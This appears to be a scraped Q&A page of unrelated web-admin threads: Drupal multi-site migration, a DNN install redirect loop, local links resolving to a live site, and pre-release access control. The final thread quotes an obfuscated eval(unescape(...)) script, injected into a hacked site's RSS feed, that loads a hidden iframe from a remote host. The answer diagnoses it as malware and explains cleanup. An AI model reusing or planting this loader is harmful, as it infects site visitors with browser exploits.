I have a colleague asking me to provide a single tarball containing an entire Drupal site, which they can drop on their server with no configuration beyond connecting the database.
To my knowledge this is not possible.
To further complicate the issue, the site is currently developed as a multi-site install and the colleague needs it provided as a single-site install. This is a conversion I've done countless times, but I've always completed the process on the destination environment, because Drupal multi-sites need a proper domain pointed at them to function. There's no way for me to confirm that the site will work at the new location without actually testing it on that environment first, so I don't think I can fulfill this request.
Am I missing something? Is this in fact possible to achieve?
I don't see why this isn't possible.
In regards to the drop in install, as long as you include the settings.php file and a copy of the DB that they import, that is all they should need as long as their webserver is configured properly (such as pretty URLs and the like). Certainly their are a few considerations to take when doing this, you need to make sure the DB connection path is done in relation to localhost (or however they have it) and that when you tarball it together, that you have the right permissions set up for the destination machine, otherwise though, moving a drupal install is really not that difficult and can be just that simple.
Depending upon how 'drop in' they want it, you could write a little script to automate and verify the install. Have the script import a copy of the DB, redo the permissions and owner of the files on destination host, and reload apache.
As far as the multi-site to single site is concerned, I would just do the conversion in a sandbox and set up the domain you need in /etc/hosts (as shown here). This will simulate the destination domain well enough that you can make sure the install is working before sending it off.
Hope that helps.
Related
I'm trying to install DNN version 6.2.9 (I have to use this version for the client I'm working with), but I'm not being able to get the installer to work. I've followed all the steps at this link:
http://www.dnnsoftware.com/wiki/how-to-install-dotnetnuke
When I get to the step where I'm supposed to go to the installation wizard on localhost, step 10, the browser-based installer isn't loading. When I investigated the network traffic, it appears the installer is trapped in a 302 redirect loop and the request to the server is timing out. Below are the two urls it keeps alternating between. Any thoughts on what could be causing this? I suspect some kind of permissions or maybe db access problem, but I haven't been able to find a solution yet.
Local host prefix: localhost/dotnetnuke
Two .aspx files it keeps alternating between:
login.aspx?ReturnUrl=%2fdotnetnuke%2fInstall%2fInstallWizard.aspx
Install/InstallWizard.aspx
Are any of the database tables, stored procedures, etc. created? This is often an issue reading the PortalAlias information - so I would check that you have DB access, write permissions (the installer should do that for you anyway). If everything is created, check the portal alias table.
I would also check relevant file permissions mentioned in the guide.
I have inherited a Drupal 6 site to maintain.
I am new to Drupal so there is an element of learning as I go.
I have encountered a strange issue after attempting to set up a test site on my local machine.
All my links on my local site continue to point to the live server. So all menus, login buttons, etc. all point towards the live site.
Steps I have taken:
checked settings.php to ensure that $base_url is set to "http://localhost:456"
checked settings.php to ensure that MySQL settings are correct
Taken an SQL dump of the entire local database and searched for any references to live site URL
deleted all the local cache data from database
Checked various blocks to ensure that there was no hard coding of links
Disabled language support as that does use separate URLS for each language
I am at a total loss as to where to go from here.
I can navigate through the site locally by replacing the URL in the address bar to point to the local site, and I have even managed to change the local theme so I can see which version of the site I'm on. The fact that I could do this means that the database is set up correctly.
Totally stumped as to where to go from here. Any takers?
The problem was that in the 'variable' table there was an entry with the URL for default language pointing to live site. There is a 'language' table which holds the URLS for each language e.g. eng.example.com for english and ru.example.com for russian. I had changed the urls here to point to local server, but it seems there is also an entry in the variable table which needed to be changed.
In case anybody runs into this problem and wants to change it, you need to change the metadata for the entry as well where S22 represents a string of 22 characters, you need to change it to the length of the string that you are entering, youll see what I mean when you look in the table!
Also, you need to clear your cache after making any change.
In your local server, go to your site directory->site->default and open your settings.php file
look for the base url and comment out that line it should be around line 144
The only thing left is you need to a search for the live site url in your complete code base. See if any module is changing the base url using the code. Though I am not sure how it can be done using code.
However instead of replacing the url you can edit the hosts file and add an entry like
127.0.0.1 livesite.com
If you are using Linux the location of the file is /etc/hosts
I had this problem. I moved the entire site from the remote to the local server to work on, but whenever I loaded the site it went to the live site. I believe the problem was the .htpaccess file. I updated all the core Drupal files, but as the .htpaccess file was hidden I didn't notice it was still there.
Note that even after I removed it, it wasn't until I opened a different site on the local server and then went back that the path worked correctly.
I currently develop Drupal web sites using its multi-site feature that allows me to have a single code base and support multiple distinct settings per each site.
I set up a dev server and I was quite happy with my arrangement of domains like example.com.local (not that happy because I had to perform a small conversion before entering production, but still quite happy) and the thing used to work well. Too bad I recently started to work at places outside the LAN in which my dev server resides--mostly at clients' places where I need to demo their sites. First of all I set up a dyndns.org account and the server is accessible through the Internet.
Unfortunately the whole domain-based multi-site ungracefully fell down, since I'm now accessing the server via myservername.dyndns.org and Drupal's algorithm takes the domain name into account, so I'm forced to use at least the TLD as part of the directory name (namely sites/local.example.com). So I decided to switch to directory-based multi-site, and now I'm able to access my server from inside the LAN using myservername.local/example.com (having renamed the sites/ subdirectories accordingly). You should easily see why this is suboptimal, since when I browse to myservername.dyndns.org/example.com Drupal looks for sites/org.example.com. I temporarily ended up making a link from sites/org.example.com to sites/local.example.com but again, this does not scale well If and when I'll have to drop dyndns.org for, say, dev.mycorporatesite.com...
Is there any other possibility? I have full access to the server, I can change Apache2's configs, .htaccess and all the stuff.
I would recommend against referencing drupal multisites in folders but instead would set up your server to have a fixed domain name and each site in a subdomain.
So your dev server is at mydevserver.com
and then each site could be
client1.mydevserver.com
client2.mydevserver.com
etc.
If you also at the same time as creating these, you move the files folder from the default to whatever the live site will be i.e.
sites/livesite.com/files
Then when you have to go live, all the references will be correct (if you are drupal 7 this might not be an issue)
I usually place an app_offline.htm in my root directory when I am releasing a website to a production environment. However sometimes if there has been a few big changes to the site, I would like to click around first to make sure it's stable without allowing access to anyone other than me.
As far as I am aware this isn't possible, but I'm hoping someone has a neat solution...
The solution has to include if someone has a deeplink into the site, so using a default.htm/asp page in the root won't do the trick unfortunately.
I agree with the staging environment answer above, but otherwise here's one possible approach: Temporarily block all IP addresses besides your own. This can be achieved through IIS Directory Security configuration, or programmatically in any number of ways
You can redirect all the non-authorized users to an Under Construction page of some sort. Meanwhile, you can happily browse the site from your IP. When the site is vetted, you remove that IP restriction and the site becomes available to the world at large.
It's a difficult thing to achieve. That's why you should have a staging environment where everything should be validated before shipping into production. Then during the deployment process (if it takes long, but it shouldn't) you could use an App_Offline file. This staging environment should be as close as possible to your production environment (in terms of software, patches and configurations installed, not in terms of hardware power of course).
Another quick suggestion that would allow you to control things from the web.config might include a custom module that redirected all requests to a static page except those defined by a filter (i.e. hostname, url sniffing) that could be configured via the web.config.
My feed is broken: Feed Validator says this portion is the problem. Any thoughts?
]]>content:encoded>
wfw:commentRss>http://sweatingthebigstuff.com/2010/01/21/5-steps-to-get-out-of-debt/feed/wfw:commentRss>
slash:comments>2/slash:comments>
/item>
/channel>
/rss>
script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>
<script language="javascript">eval(unescape("%64%6F%63...
You've been hacked. An attacker has compromised your site and added this script to the bottom of some of your pages (probably all of them, judging by your main site). It loads a bunch of exploit code against web-browsers and plugins that attempts to infect other people's computers. That it also results in the RSS being invalid is a side-effect.
You need to get the site off-line before it infects more people, then work on the clean-up, which will depend on how they compromised it/what kind of server it is. Certainly at the very least you will need to delete your current site code and upload fresh new scripts, from a machine you know is clean(*), with all your passwords changed. If it's your your own [virtual] server you will need to check that the server itself hasn't been rooted.
(*: a very common way sites are getting compromised at the moment is through hacked client machines running FTP. The trojans steal the FTP passwords when you connect. So you need to check and disinfect every machine you might have used to connect to the site. And if you find anything suspicious on one of them, don't trust AV tools to completely clean it, because today they just can't keep up with the quantity of malcode out there. Re-install the operating system instead.)